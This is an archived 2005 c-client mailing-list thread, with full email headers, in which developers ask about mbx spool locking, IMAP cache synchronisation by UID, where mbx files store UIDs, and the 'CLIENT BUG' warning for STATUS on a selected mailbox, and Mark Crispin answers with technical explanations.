(8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3EFjasR088302 for ; Thu, 14 Apr 2005 08:45:36 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3EFjZS8024841 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 14 Apr 2005 08:45:36 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3EFjZF0026633; Thu, 14 Apr 2005 08:45:35 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3EFjYwg022708 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Thu, 14 Apr 2005 08:45:35 -0700 Message-Id: Date: Thu, 14 Apr 2005 08:45:34 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Brand Cc: c-client@u.washington.edu Subject: Re: simultaneous access to incoming spool file by c-client and postfix In-Reply-To: <425E2595.3030202@n200.com> References: <425E2595.3030202@n200.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.143 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The simple answer to your question is "no" and "no such measures are necessary". However, make sure that NFS is not involved in accessing the mailbox file or the /tmp directory. On Thu, 14 Apr 2005, Mark Brand wrote: > Please consider 2 situations where messages are moved from spool files > into mbx INBOX files in users home directories: > > A. c-client software automatically moves mail when software accesses > incoming spool file. > B. Someone explicitly invokes "mailutil appenddelete". > > The question is: Can corruption of the incoming spool file arise due to > conflicts with software (such as postfix) that is delivering mail to the > spool file? If so, what measures should be taken to prevent this from > happening? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Apr 14 12:01:29 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Apr 2005 12:01:29 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3EJ1SLn017009 for ; Thu, 14 Apr 2005 12:01:28 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3EJ1Rqi011986 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 14 Apr 2005 12:01:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3EJ1Fc2002618; Thu, 14 Apr 2005 12:01:15 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3EIxxi7085168 for ; Thu, 14 Apr 2005 12:00:03 -0700 Received: from deepspace.sepia.com (mail.typarium.com [205.236.40.42]) by mxe5.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3EIxveX008699 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 14 Apr 2005 11:59:59 -0700 Received: from [172.16.51.254] ([205.236.40.161]) (authenticated bits=0) by deepspace.sepia.com (8.12.10/8.12.10) with ESMTP id j3EIunYE021557 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 14 Apr 2005 14:56:50 -0400 Message-Id: <425EBDB3.2020402@sepia.com> Date: Thu, 14 Apr 2005 15:00:03 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Schmidt To: c-client@u.washington.edu Subject: caching and mailbox synchronisation with c-client MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.168 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I'm writing a headless imap client using c-client on WindowsXP. I have interfaced to all the mail functions and can successfully read mail messages from my uw-imap server (linux). Since the mail storage is handled by another application, with which my client communicates. The c-client code currently has no way of knowing what has already been downloaded. In such a case, what do I need to do to keep track and do proper synchronisation with the imap server? The imap server is also accessed by other applications (webmail, existing email clients like Outlook, Thunderbird,etc). I have never wirtten an imap client before, so I don't know whether I should be downloading all the headers every time, and ask the mailstore to compare, or do I need to write a cachemanager, etc. How do I determine that some messages have been deleted and expunged between two sessions, for example? If it makes any difference, the imap server is runnng with mbx format mailboxes. These mailboxes can be quite large, sometimes into the 100Mb+ range, with messages numbering in the thousands. I appreciate any ideas that might help. Hopefully some of you have encountered this situation before, and have asome good ides to suggest. Thank you for any help you might be able to provide. Mike -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 14 12:20:32 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Apr 2005 12:20:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3EJKWvD017876 for ; Thu, 14 Apr 2005 12:20:32 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3EJKOic013207 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 14 Apr 2005 12:20:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3EJKIjF018280; Thu, 14 Apr 2005 12:20:18 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3EJJNOK021350 for ; Thu, 14 Apr 2005 12:19:23 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi2.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3EJJN8F016416 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 14 Apr 2005 12:19:23 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3EJJKGm018453; Thu, 14 Apr 2005 12:19:21 -0700 Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3EJJIVa028006 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 14 Apr 2005 12:19:20 -0700 Message-Id: Date: Thu, 14 Apr 2005 12:19:15 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Schmidt Cc: c-client@u.washington.edu Subject: Re: caching and mailbox synchronisation with c-client In-Reply-To: <425EBDB3.2020402@sepia.com> References: <425EBDB3.2020402@sepia.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN As a first order approximation: You should have on record the UIDVALIDITY of the mailbox, highest assigned UID in the mailbox ever seen by the client, and UIDs of all messages. If the IMAP server reports a different UIDVALIDITY then what you have, dump your entire cache; it has been invalidated so you have to reload everything. Otherwise, if the UIDVALIDITY is the same, then identify new messages by doing "tag UID FETCH :* FAST" (instead of "FAST", you may want "ALL" or "FULL" or whatever else you would like to know about new messages at synchronization time). For , substitute the highest assigned UID plus 1. For example, if the highest assigned UID is 4392, then do something like: tag UID FETCH 4393:* FULL and load your cache with the returned data. If you only get back one message, then that message is the highest-numbered UID message in the mailbox (not necessarily the highest UID ever assigned, since subsequent messages could have been deleted and expunged). Next, compare the number of messages you have cached with the number of messages reported by EXISTS in the response to SELECT. If this is different, the EXISTS value is probably smaller than what you have, meaning that many messages had been deleted and expunged (if EXISTS is larger, then you have a bug in your application since you failed to cache some old message). An easy way to determine what messages were deleted is to fetch the UID map of the old messages with "tag UID FETCH 1: UID" (where is the highest assigned UID as above). A slightly less chatty way to do this is "tag UID SEARCH UID 1: ALL". The UIDs that aren't returned are the ones that you need to remove from your cache. This is a pretty simpleminded mechanism. It's possible to do a lot better, particularly by observing that sequence numbers have no holes and that UIDs are strictly ascending; these are very useful properties. But "learn to walk before you run" is a good point here; start with something simple like this, and then try to make it fancier. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Apr 15 09:23:46 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 15 Apr 2005 09:23:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3FGNkiK000945 for ; Fri, 15 Apr 2005 09:23:46 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3FGNjma021887 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 15 Apr 2005 09:23:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3FGNdIT017802; Fri, 15 Apr 2005 09:23:39 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3FGMF0t068692 for ; Fri, 15 Apr 2005 09:22:15 -0700 Received: from bureau14.utcc.utoronto.ca (bureau14.utcc.utoronto.ca [128.100.132.42]) by mxe7.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3FGMFjo030757 for ; Fri, 15 Apr 2005 09:22:15 -0700 Received: from cicely.cns.utoronto.ca ([128.100.103.144] EHLO [127.0.0.1] ident: IDENT-NOT-QUERIED [port 3414]) by bureau14.utcc.utoronto.ca with ESMTP id <890144-29861>; Fri, 15 Apr 2005 12:21:23 -0400 Message-Id: <425FE9F9.7060107@utoronto.ca> Date: Fri, 15 Apr 2005 12:21:13 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Darren Jacobs To: c-client@u.washington.edu Subject: location of uid of a message in a mbx folder MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.169 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi All, I'm trying to track down where message uid is encoded in a message in a mbx mail folder? Darren.... -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Apr 15 09:32:40 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 15 Apr 2005 09:32:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3FGWeWN001449 for ; Fri, 15 Apr 2005 09:32:40 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3FGWaqr022375 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 15 Apr 2005 09:32:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3FGWWSN013016; Fri, 15 Apr 2005 09:32:32 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3FGVeKU114404 for ; Fri, 15 Apr 2005 09:31:40 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3FGVcFH010828 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 15 Apr 2005 09:31:39 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3FGVbOl005520; Fri, 15 Apr 2005 09:31:37 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3FGVaFg020889 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Fri, 15 Apr 2005 09:31:37 -0700 Message-Id: Date: Fri, 15 Apr 2005 09:31:36 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Darren Jacobs Cc: c-client@u.washington.edu Subject: Re: location of uid of a message in a mbx folder In-Reply-To: <425FE9F9.7060107@utoronto.ca> References: <425FE9F9.7060107@utoronto.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 15 Apr 2005, Darren Jacobs wrote: > I'm trying to track down where message uid is encoded in a message in a mbx > mail folder? In general, you should not worry about the format of an mbx mailbox unless you need to repair one. In particular, you should use the c-client library to access mbx mailboxes and not write your own code to do so; the mbx mailbox locking protocol is quite complex and it is easy to make a mistake. The UID is stored in the per-message line as the last field (following the hyphen). That is, with a per-message-line of: 16-Mar-2000 00:51:24 -0800,6726;000000100009-0000087b INTERNALDATE: 16-Mar-2000 00:51:24 -0800 RFC822.SIZE: 6726 FLAGS: 000000100009 UID: 0000087b -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sat Apr 16 08:05:01 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 16 Apr 2005 08:05:01 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GF51kI017971 for ; Sat, 16 Apr 2005 08:05:01 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3GF50Rr028563 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 16 Apr 2005 08:05:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3GF4oVT018036; Sat, 16 Apr 2005 08:04:50 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3GF3VTH070738 for ; Sat, 16 Apr 2005 08:03:31 -0700 Received: from deepspace.sepia.com (space.sepia.com [205.236.40.42]) by mxe7.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GF3TMn019697 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 16 Apr 2005 08:03:31 -0700 Received: from [205.236.40.117] ([205.236.40.117]) (authenticated bits=0) by deepspace.sepia.com (8.12.10/8.12.10) with ESMTP id j3GF0DYE011357 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 16 Apr 2005 11:00:14 -0400 Message-Id: <4261293F.8000702@sepia.com> Date: Sat, 16 Apr 2005 11:03:27 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Schmidt To: c-client@u.washington.edu Subject: What does CLIENT BUG in result of STATUS operation mean? MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.169 X-Uwash-Spam: Gauge=X, Probability=10%, Report='LINES_OF_YELLING_3 0.671, __C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, Can someone tell me what the CLIENT BUG references mean in the status report? This is a transcript of the IMAP status operation. The client is based on c-client, running in Windows XP, and the server is uw-imapd running over a TLS connection (on Linux): 4/16/2005 10:55:05 AM: 00000005 STATUS INBOX (MESSAGES RECENT UNSEEN UIDNEXT UIDVALIDITY) 4/16/2005 10:55:12 AM: * NO CLIENT BUG DETECTED: STATUS on selected mailbox: INBOX 4/16/2005 10:55:21 AM: WARN - CLIENT BUG DETECTED: STATUS on selected mailbox: INBOX 4/16/2005 10:55:30 AM: * STATUS INBOX (MESSAGES 150 RECENT 0 UNSEEN 0 UIDNEXT 247 UIDVALIDITY 1108742917) 4/16/2005 10:56:53 AM: 00000005 OK STATUS completed Thanks very much. This certainly looks pretty confusing to me, but I' m just getting started writing a client using c-client. Mike -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Apr 16 09:17:26 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 16 Apr 2005 09:17:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GGHQOZ019983 for ; Sat, 16 Apr 2005 09:17:26 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3GGHP48019874 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 16 Apr 2005 09:17:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3GGHGIj003132; Sat, 16 Apr 2005 09:17:16 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3GGG9Gs073464 for ; Sat, 16 Apr 2005 09:16:09 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3GGG8VE016445 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 16 Apr 2005 09:16:08 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GGG7SR005533; Sat, 16 Apr 2005 09:16:08 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GGG7TD008001 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Sat, 16 Apr 2005 09:16:07 -0700 Message-Id: Date: Sat, 16 Apr 2005 09:16:07 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Schmidt Cc: c-client@u.washington.edu Subject: Re: What does CLIENT BUG in result of STATUS operation mean? In-Reply-To: <4261293F.8000702@sepia.com> References: <4261293F.8000702@sepia.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.143 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 16 Apr 2005, Mike Schmidt wrote: > Can someone tell me what the CLIENT BUG references mean in the status > report? It means that you did a STATUS command on the selected (opened) mailbox; a completely unnecessary and wasteful operation which could also have additional severe negative consequences. When you have a mailbox selected, the IMAP state already has all the data that a STATUS command could return. The STATUS command is to the be used only to get this data from a mailbox which is *NOT* selected. This has been shown to be an area which many novices fail to understand; many seem to believe (incorrectly) that you have to do a STATUS to get updated mailbox state. Learning how IMAP really works in this case is likely to help client authors understand IMAP in other cases, hence this is a mistake that I felt is important to correct. > This is a transcript of the IMAP status operation. The client is based > on c-client, running in Windows XP, and the server is uw-imapd running > over a TLS connection (on Linux) If the client was written using c-client, then you did a mail_status() call on a mailbox name when you already had a perfectly good MAILSTREAM with all the data you need from a mail_open() call. The correct procedure is to get the data from the MAILSTREAM. For example, in your case of getting: (MESSAGES RECENT UNSEEN UIDNEXT UIDVALIDITY) you should use stream->nmsgs stream->recent either do a mail_search() for unseen and count the number of responses coming back, or if all message metadata is in c-client's cache just count the number of messages which have !mail_elt(stream,i)->seen, for i=1 to nmsgs. stream->uid_last+1 stream->uid_validity The simplest way to get the RECENT count is: mail_fetch_fast (stream,"1:*",NIL); for (i = 1, j = 0; i <= stream->nmsgs; ++i) if (!mail_elt (stream,i)->seen) ++j; However that mail_fetch_fast() should only be done once in any session. If you've already gotten all the message metadata once you don't need to get it again. IMAP automatically updates it for you. A STATUS command forces the IMAP server to do its open mail_open() call get the data from the resulting MAILSTREAM, then close it. But it already has done a mail_open() on that mailbox, as has your client. Hence the waste. The multiple opens can also cause other problems. > Thanks very much. This certainly looks pretty confusing to me, but I' m just > getting started writing a client using c-client. The message is obnoxious for a reason; it's to get the client author's attention and get him to ask "what's going on?" (and hopefully the explanation will convince him to do the right thing instead of abusing STATUS). So, in this case, it worked as designed. If there's anything unclear about any of the above, please ask. I'm not sure if the above answer adequately explains "why" as opposed to "what". Also, please don't feel bad; you have lots of company in having made this mistake. You responded intelligently as well (ask and find out what's wrong); too many people just try to hide the message and never fix what their client is doing wrong... :-( -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sat Apr 16 09:56:50 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 16 Apr 2005 09:56:50 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GGuoV4020994 for ; Sat, 16 Apr 2005 09:56:50 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3GGun0i032420 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 16 Apr 2005 09:56:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3GGugU4017350; Sat, 16 Apr 2005 09:56:42 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3GGtpqI070744 for ; Sat, 16 Apr 2005 09:55:51 -0700 Received: from deepspace.sepia.com (deepspace.sepia.com [205.236.40.42]) by mxe1.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3GGtnDP031319 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 16 Apr 2005 09:55:50 -0700 Received: from [205.236.40.117] ([205.236.40.117]) (authenticated bits=0) by deepspace.sepia.com (8.12.10/8.12.10) with ESMTP id j3GGqXYE012064 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 16 Apr 2005 12:52:33 -0400 Message-Id: <42614393.9040807@sepia.com> Date: Sat, 16 Apr 2005 12:55:47 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Schmidt To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: What does CLIENT BUG in result of STATUS operation mean? In-Reply-To: References: <4261293F.8000702@sepia.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.136 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you very much, Mark. This is exactly the information I was looking for. I am just learning to understand c-client, and, although I have read the various doc files many times, especially the internal.txt one, there are many aspects of the operational use of c-client that I do not yet understand. Your help is great, and I greatly appreciate your clear responses. Many of the commands I am issuing at this time are exploratory; since I don't yet understand the proper use of imap (I was only a user and server jock with respect to imapd), I am still exploring. I appreciate the easy callbacks that c-client provides for this kind of information because it means I can see (and display) all the imap command traffic in both directions. Hence the questions. I will continue asking questions because I am not capable of writing code I don't understand the why and wherefore of. I noticed there are a number of functions exposed in mail.h that are not documented in internal.txt. I don't want to bother you unnecessarily, but you may get questions about some of these functions from time to time, if they seem to be useful to my approach. Now I have an additional quick question, more a design question than anything else: if I understand correctly, I should have 1 mailstream open to an imap server, not one per mailbox. I should reuse this mailstream when switching mailboxes instead of making a new one, is that correct? What happens to the message cache in this case? Thanks for your quick response. You help is invaluable to me. Mike Mark Crispin wrote: > On Sat, 16 Apr 2005, Mike Schmidt wrote: > >> Can someone tell me what the CLIENT BUG 